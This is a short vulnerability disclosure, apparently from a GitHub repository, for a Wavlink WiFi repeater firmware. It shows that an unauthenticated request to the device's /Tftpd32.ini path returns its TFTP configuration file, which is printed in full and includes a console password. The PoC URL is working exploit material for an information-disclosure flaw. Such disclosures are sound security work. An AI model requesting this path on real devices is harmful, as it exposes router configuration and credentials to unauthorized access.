⑂ main ▾   ···

pghuanghui Update WiFi-Repeater_Tftpd32.md   ⟳ History

⧑ **1 contributor**

☰   31 lines (18 sloc)   1.04 KB   ···

0x01 Vulnerability description

A vulnerability is in the 'Tftpd32.ini' page of the Wavlink-WiFi-Repeater,Firmware package version RPTA2-77W.M4300.01.GD.2017Sep19,By constructing this link, you can get the ftp configuration file.

Unauthorized users can obtain the key information of the router by visiting:

```
http://xxx.xxx.xxx.xxx/Tftpd32.ini
```

0x02 Affected version

```
Wavlink-WiFi-Repeater
```

0x03 Vulnerability

The ftp configuration file does not have reasonable access rights settings.

0x04 PoC verification

VICTONY®

More Range for Dual Band Wireless Network

LOG OUT   REBOOT

WISP Wizard

User   This Device   WISP   Internet

WISP Status
- 2.4G SSID _____EXT2.4G
- AC SSID _____XT5G
- Clients 0
- Connect to _____
- Status Connected
- Internet Connected

Wi Fi
- Basic Settings
- 2.4G Advanced Settings
- AC Advanced Settings
- WPS Settings

LAN Settings
- IP Address _____
- MAC Address _____
- DHCP Mode DHCP Server

- Password Settings
- Time Zone Settings
- Save/Reload Settings
- Upgrade Firmware

Firmware Version
RPTA2-77W.M4300.01.GD.2017Sep19
Build Time
14:40:22 Sep 19 2017
Up Time
38 days, 10 hours, 5 mins, 3 secs

192.168.1.102/Tftpd32.ini

Kullanıcı Adı

Şifre

Dil   Turkey

Oturum Aç

Tftpd32.ini

```
[TFTPD32]
BaseDirectory=.
TftpPort=69
Hide=0
WinSize=0
Negociate=1
PXECompatibility=0
DirText=0
ShowProgressBar=1
Timeout=3
MaxRetransmit=6
SecurityLevel=0
UnixStrings=1
Beep=0
VirtualRoot=0
MD5=0
LocalIP=
Services=47
TftpLogFile=
SaveSyslogFile=
PipeSyslogMsg=0
LowestUDPPort=0
HighestUDPPort=0
MulticastPort=0
MulticastAddress=
PersistantLeases=1
DHCP Ping=1
DHCP LocalIP=
Max Simultaneous Transfers=100
UseEventLog=0
Console Password=tftpd32
Support for port Option=0
```

0x05 Acknowledgement

Penwei.Huang